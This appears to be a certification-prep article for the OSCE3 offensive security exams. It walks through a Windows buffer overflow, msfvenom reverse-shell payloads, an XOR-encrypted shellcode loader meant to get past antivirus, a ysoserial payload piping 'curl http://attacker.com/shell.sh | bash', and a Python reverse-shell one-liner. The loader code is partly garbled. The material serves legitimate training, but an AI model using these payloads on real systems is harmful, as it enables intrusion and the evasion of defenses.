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Introduction
The Offensive Security Certified Expert 3 (OSCE3) certification is the pinnacle of practical penetration testing credentials, comprising three rigorous exams: OSED (Windows User Mode Exploit Development), OSEP (Evasion Techniques and Breaching Defenses), and OSWE (Web Application Exploitation). A newly released GitHub repository by Joas A Santos consolidates a wealth of resources, tools, and step‑by‑step methodologies to help candidates conquer these challenges. This article dissects the core techniques required for each domain, provides actionable commands and code snippets, and explains how to leverage this guide for exam success.
Learning Objectives
- Understand the structure and technical demands of the OSED, OSEP, and OSWE exams.
- Master essential exploit development, evasion, and web application attack techniques with hands‑on examples.
- Learn to navigate and apply the OSCE3‑Complete‑Guide repository for efficient lab practice and exam preparation.
1. Overview of OSCE3 and the GitHub Repository
The repository at GitHub – JoasASantos/OSCE3-Complete-Guide is a curated collection of notes, scripts, and walkthroughs aligned with OffSec’s official course materials. It is organized into three main folders—OSED, OSEP, and OSWE—each containing subdirectories for specific modules, exploits, and utility scripts. Whether you are setting up a Windows debugging environment or crafting an advanced evasion payload, this repo serves as both a reference and a practical toolkit.
2. OSED: Windows User Mode Exploit Development
The OSED exam focuses on writing custom exploits for Windows user‑mode applications, with an emphasis on structured exception handling (SEH), egg hunters, and return‑oriented programming (ROP). Below is a streamlined workflow using the tools and techniques highlighted in the guide.
Step‑by‑step guide to basic stack‑based buffer overflow
- Set up the debugger – Install Immunity Debugger with the mona.py plugin. Configure a working folder:
`!mona config -set workingfolder c:\mona\%p`
- Fuzz the target – Use a Python script to send incrementing payloads until the application crashes. Identify the exact offset where EIP is overwritten:
`!mona pattern_create 1500`
Copy the pattern, send it, then find the offset with:
`!mona pattern_offset `
- Control EIP – Verify by sending a payload with “BBBB” at the offset. If EIP becomes
42424242, control is confirmed. -
Find bad characters – Generate a byte array with mona and compare:
`!mona bytearray -b “\x00″`
`!mona compare -f c:\mona\app\bytearray.bin -a `
- Generate shellcode – Use msfvenom to create a reverse shell payload, excluding bad chars:
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=443 -f c -b “\x00\x0a\x0d”` - Redirect execution – Find a `JMP ESP` instruction (or other register) with mona:
`!mona jmp -r esp -m “module.dll”`
Place its address in the EIP overwrite position, and place shellcode after it.
- Final exploit – Combine everything in a Python script. Test in the debugger to ensure execution.
3. OSEP: Evasion Techniques and Breaching Defenses
OSEP teaches how to bypass modern defenses like antivirus (AV) and endpoint detection and response (EDR). The GitHub repository includes custom C loaders, PowerShell obfuscation techniques, and process injection examples.
Step‑by‑step guide to creating an encrypted and obfuscated payload
1. Generate raw shellcode with msfvenom, using multiple iterations of an encoder:
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=443 -f raw -e x64/xor_dynamic -i 5 -o shellcode.raw`
2. Encrypt the shellcode with a simple XOR or AES routine. Below is a Python snippet to XOR encrypt:
import sys
key = "secretkey"
with open("shellcode.raw", "rb") as f:
sc = f.read()
encrypted = bytearray()
for i, b in enumerate(sc):
encrypted.append(b ^ ord(key[i % len(key)]))
with open("encrypted.bin", "wb") as f:
f.write(encrypted)
- Create a C loader that decrypts and injects the shellcode. Use Windows APIs like
VirtualAlloc,CreateThread, or `EnumChildWindows` for injection. A minimal example:using System; using System.Runtime.InteropServices;</li> </ol> class Program { [DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); static void Main() { byte[] encrypted = { 0x... }; // encrypted shellcode bytes byte[] key = { 0x73, 0x65, 0x63, 0x72, 0x65, 0x74 }; // "secret" for (int i = 0; i < encrypted.Length; i++) encrypted[bash] ^= key[i % key.Length]; IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)encrypted.Length, 0x3000, 0x40); Marshal.Copy(encrypted, 0, addr, encrypted.Length); CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); } }- Compile and test – Use `csc.exe` to compile the loader, then run it on a target machine while monitoring with Defender or a free EDR to confirm evasion.
4. OSWE: Web Application Exploitation
OSWE requires a deep understanding of web application source code and the ability to chain vulnerabilities to achieve remote code execution. The guide provides white‑box testing methodologies and exploit scripts.
Step‑by‑step guide to exploiting insecure deserialization in Java
- Identify the vulnerability – Look for Java objects being serialized and base64‑encoded in HTTP parameters (e.g.,
data=rO0AB...). Use tools like Burp Suite to intercept and analyze. -
Craft a malicious object – Use the `ysoserial` tool to generate a payload for a common gadget chain (e.g., CommonsCollections1):
`java -jar ysoserial.jar CommonsCollections1 “curl http://attacker.com/shell.sh | bash” | base64 -w 0` -
Inject the payload – Replace the original serialized data with the malicious base64 string and resend the request. Monitor your listener for a callback.
-
Escalate to a full shell – If the server executes the command, you can then upload a reverse shell payload. For example, a simple Python one‑liner:
`python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.10”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’`
5. Essential Tools and Setup for OSCE3 Labs
Proper lab configuration is critical. The repository recommends:
- Virtualization: VMware Workstation or VirtualBox with at least 16 GB RAM.
- Windows VMs: Windows 10 (for OSED/OSEP) and Windows Server 2019 (for OSEP).
- Kali Linux: For attacker machine, with tools like
msfconsole,nmap,burpsuite, andgobuster. - Debuggers: Immunity Debugger + mona.py, WinDbg, and x64dbg.
- Network: Host‑only adapters for isolated practice, and snapshots to revert after crashes.
Linux commands to set up a persistent listener
sudo nc -lvnp 443
Windows command to check for protections (ASLR, DEP)
!mona modules
6. Study Strategies and Resources
- Follow the repository sequentially – Each folder contains exercises mirroring the official material. Start with OSED basics, then progress to OSEP evasion, and finally OSWE source code review.
- Practice daily – Allocate at least 2‑3 hours for hands‑on debugging and exploit refinement.
- Supplement with official forums – The Offensive Security community and Discord channels often discuss similar challenges.
- Leverage additional databases – Exploit‑DB, Packet Storm, and GitHub gists for real‑world examples.
7. Common Pitfalls and How to Avoid Them
- Skipping the basics – Jumping straight to complex ROP chains without mastering simple buffer overflows leads to frustration. Master each module before advancing.
- Ignoring bad characters – Always verify with mona’s compare; one missed bad char can break the shellcode.
- Over‑reliance on automated tools – Tools like SQLMap are useful, but OSWE expects manual source code analysis. Practice writing custom Python scripts for each vulnerability.
- Time management – During exams, quickly enumerate and prioritize low‑hanging fruit. The GitHub guide includes checklists to keep you on track.
What Undercode Say
- Hands‑on repetition is non‑negotiable – Reading the GitHub guide alone won’t pass the exams; you must replicate every step in your own lab.
- Community resources accelerate learning – The OSCE3‑Complete‑Guide repo demonstrates how shared knowledge can fill gaps left by official materials, but always verify techniques in a controlled environment.
- Evasion is an arms race – OSEP techniques like custom encryption and API unhooking are essential today, but expect EDRs to evolve. Stay curious and continuously test new bypasses.
Prediction
As offensive security certifications become more demanding, we will see a rise in AI‑assisted exploit generation and automated evasion frameworks. However, the core skills of debugging, reverse engineering, and creative thinking—honed through resources like this guide—will remain irreplaceable. Future exams may integrate cloud‑native exploitation and AI‑driven defense evasion, pushing practitioners to adapt even faster. The OSCE3 will likely evolve into a prerequisite for top‑tier red team roles, cementing its status as the gold standard for hands‑on expertise.
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